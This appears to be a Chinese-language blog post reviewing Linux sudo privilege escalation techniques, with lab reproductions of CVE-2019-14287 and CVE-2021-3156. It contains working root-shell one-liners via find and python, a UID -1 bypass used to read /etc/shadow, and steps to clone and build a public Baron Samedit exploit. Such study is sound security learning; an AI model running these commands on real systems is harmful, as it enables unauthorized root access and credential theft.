sudo -l
前言
最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势。
简介
sodu 全称 Substitute User and Do,用来临时赋予root权限运行某个程序。 sodu 的执行原理: 普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers配置文件,查看用户是否有sudo权限,如果有执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。 而在/etc/sudoers中设置可执行sudo指令的用户。默认只有root。
image.png
sudo 常规提权
如果攻击者知道当前用户密码,就可以利用sudo执行命令提权。 如: find 命令提权
sudo find . -exec /bin/sh \; -quit
image.png
python 命令提权
sudo python -c 'import pty;pty.spawn("/bin/bash")'
image.png
或者管理员在/etc/sudoers配置了某些命令免密码使用。 如设置apt-get命令sudo时不需要密码。
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
-
cseroad表示用户名
-
第一个 ALL 指示允许从任何终端访问sudo
-
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
-
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
再进行测试,sudo python等命令需要密码,而设置的apt-get不需要密码。
image.png
那就可以不需要输入密码利用apt-get命令来提权。
image.png
但是想获取哪些命令设置了无密码sudo,还是需要查看cat /etc/sudoers
文件或者sudo -l
命令,而这两条命令都需要一定权限或者知道当前用户密码。
更多命令sudo提权参考:https://gtfobins.github.io/
CVE-2019-14287
该漏洞具体细节也看不明白,粗略理解为非授权的特权用户可以绕过限制来获取特权。 复现该漏洞的过程,才知道该漏洞是如此鸡肋。 漏洞条件:
-
sudo 版本小于1.8.28
-
当前用户存在于sudo权限列表
-
需要知道当前用户密码
复现过程: 在kali上复现该漏洞。 首先创建test普通用户
useradd test passwd test
在/etc/sudoers 文件中添加test用户,指定test用户sudo执行vim命令
test ALL=(ALL:!root) /usr/bin/vim
切换至test用户,查看sudo版本。
image.png
exp如下:
sudo -u#-1 vim sudo -u#4294967295 vim
查找资料:通过指定UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞。
选择一条输入:
image.png
输入当前test密码 命令行模式输入
:!cat /etc/shadow
可提权为root查看/etc/shadow 文件
image.png
坑点:
-
在复现该漏洞时发现在ubuntu和centos上,输入
sudo -u#-1 vim
结果均显示为未知用户;
-
centos 7显示:
image.png
-
ubuntu 18 显示:
image.png
-
复现该漏洞还需要知道当前用户密码,既然都知道密码了,sudo就可以提权了;
CVE-2021-3156
漏洞简介: 查找资料:当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。 受影响版本
sudo 1.8.2–1.8.31p2 sudo 1.9.0–1.9.5p1
漏洞检测 在普通用户下运行sudoedit -s /
命令。
-
返回以"sudoedit:"开头的错误,则当前系统可能存在漏洞;
-
返回以"usage:"开头的错误响应,则当前系统不存在漏洞;
复现过程 还是选择kali 2019 版本 下载exp,编译运行即可
git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make
image.png
运行sudo-hax-me-a-sandwich,并选择项对应的目标。 这里选择Debian,执行后即可提权。
image.png
总结 看似该漏洞很nice,其实依然需要一定权限执行make命令,且只危害Ubuntu、Debian系统
总结
梳理sudo提权的姿势,真心觉得不如SUID提权等姿势,有很多受限制的地方。
参考资料
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://www.secpulse.com/archives/138197.html
作者:CSeroad
链接:https://www.jianshu.com/p/71cb0ee0f0ea